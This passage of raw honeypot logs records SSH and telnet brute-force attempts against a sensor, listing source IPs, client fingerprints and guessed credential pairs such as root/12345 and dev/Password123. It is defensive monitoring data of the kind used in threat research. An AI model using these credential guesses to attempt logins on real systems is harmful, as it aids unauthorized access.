t-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:25.669596Z","src_ip":"159.203.92.129","session":"556e57002e7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"alias2019","message":"login attempt [alias/alias2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:25.683230Z","src_ip":"159.203.92.129","session":"556e57002e7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:26.689249Z","src_ip":"159.203.92.129","session":"556e57002e7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.871901750564575,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:32.752190Z","src_ip":"45.248.78.71","session":"c2e665052588","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":52637,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b3251819c37","protocol":"ssh","message":"New connection: 119.195.89.96:52637 (159.203.135.109:22) [session: 1b3251819c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:37.689995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:37.693823Z","src_ip":"119.195.89.96","session":"1b3251819c37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:37.887017Z","src_ip":"119.195.89.96","session":"1b3251819c37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:38.692654Z","src_ip":"119.195.89.96","session":"1b3251819c37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:22:39.887904Z","src_ip":"119.195.89.96","session":"1b3251819c37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":56494,"dst_ip":"159.203.135.109","dst_port":22,"session":"50745d9ac4b0","protocol":"ssh","message":"New connection: 124.13.124.212:56494 (159.203.135.109:22) [session: 50745d9ac4b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:23:02.451576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:23:02.456641Z","src_ip":"124.13.124.212","session":"50745d9ac4b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:23:02.700828Z","src_ip":"124.13.124.212","session":"50745d9ac4b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"homeserver","message":"login attempt [root/homeserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:23:03.704592Z","src_ip":"124.13.124.212","session":"50745d9ac4b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:23:04.950669Z","src_ip":"124.13.124.212","session":"50745d9ac4b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55602,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0d155bbb73f","protocol":"ssh","message":"New connection: 159.203.92.129:55602 (159.203.135.109:22) [session: e0d155bbb73f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:23:08.646447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:23:08.650767Z","src_ip":"159.203.92.129","session":"e0d155bbb73f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:23:08.655693Z","src_ip":"159.203.92.129","session":"e0d155bbb73f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"alias2020","message":"login attempt [alias/alias2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:23:08.666077Z","src_ip":"159.203.92.129","session":"e0d155bbb73f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:23:09.675370Z","src_ip":"159.203.92.129","session":"e0d155bbb73f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":45080,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a0c498b1982","protocol":"ssh","message":"New connection: 171.244.143.209:45080 (10.17.0.5:22) [session: 3a0c498b1982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:23:33.746927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:23:33.756240Z","src_ip":"171.244.143.209","session":"3a0c498b1982","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:23:33.998433Z","src_ip":"171.244.143.209","session":"3a0c498b1982","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:23:34.992395Z","src_ip":"171.244.143.209","session":"3a0c498b1982","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:23:36.240500Z","src_ip":"171.244.143.209","session":"3a0c498b1982","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":4462,"dst_ip":"159.203.135.109","dst_port":22,"session":"43ded4a031e1","protocol":"ssh","message":"New connection: 119.195.89.96:4462 (159.203.135.109:22) [session: 43ded4a031e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:23:38.367009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:23:38.371399Z","src_ip":"119.195.89.96","session":"43ded4a031e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:23:38.571963Z","src_ip":"119.195.89.96","session":"43ded4a031e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"Password123","message":"login attempt [dev/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:23:39.405891Z","src_ip":"119.195.89.96","session":"43ded4a031e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:23:40.609305Z","src_ip":"119.195.89.96","session":"43ded4a031e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46098,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd5d71b58c05","protocol":"ssh","message":"New connection: 159.203.92.129:46098 (159.203.135.109:22) [session: bd5d71b58c05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:23:51.965467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:23:51.969421Z","src_ip":"159.203.92.129","session":"bd5d71b58c05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:23:51.973106Z","src_ip":"159.203.92.129","session":"bd5d71b58c05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"alias2021","message":"login attempt [alias/alias2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:23:51.986271Z","src_ip":"159.203.92.129","session":"bd5d71b58c05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:23:52.993140Z","src_ip":"159.203.92.129","session":"bd5d71b58c05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":45790,"dst_ip":"159.203.135.109","dst_port":22,"session":"060b515c5052","protocol":"ssh","message":"New connection: 124.13.124.212:45790 (159.203.135.109:22) [session: 060b515c5052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:24:04.712811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:24:04.717969Z","src_ip":"124.13.124.212","session":"060b515c5052","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:24:04.963713Z","src_ip":"124.13.124.212","session":"060b515c5052","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testbed","message":"login attempt [root/testbed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:24:05.959375Z","src_ip":"124.13.124.212","session":"060b515c5052","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:24:07.204295Z","src_ip":"124.13.124.212","session":"060b515c5052","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":47454,"dst_ip":"10.17.0.5","dst_port":22,"session":"9db38ad07521","protocol":"ssh","message":"New connection: 87.251.64.176:47454 (10.17.0.5:22) [session: 9db38ad07521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:24:22.351903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:24:22.356676Z","src_ip":"87.251.64.176","session":"9db38ad07521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@opens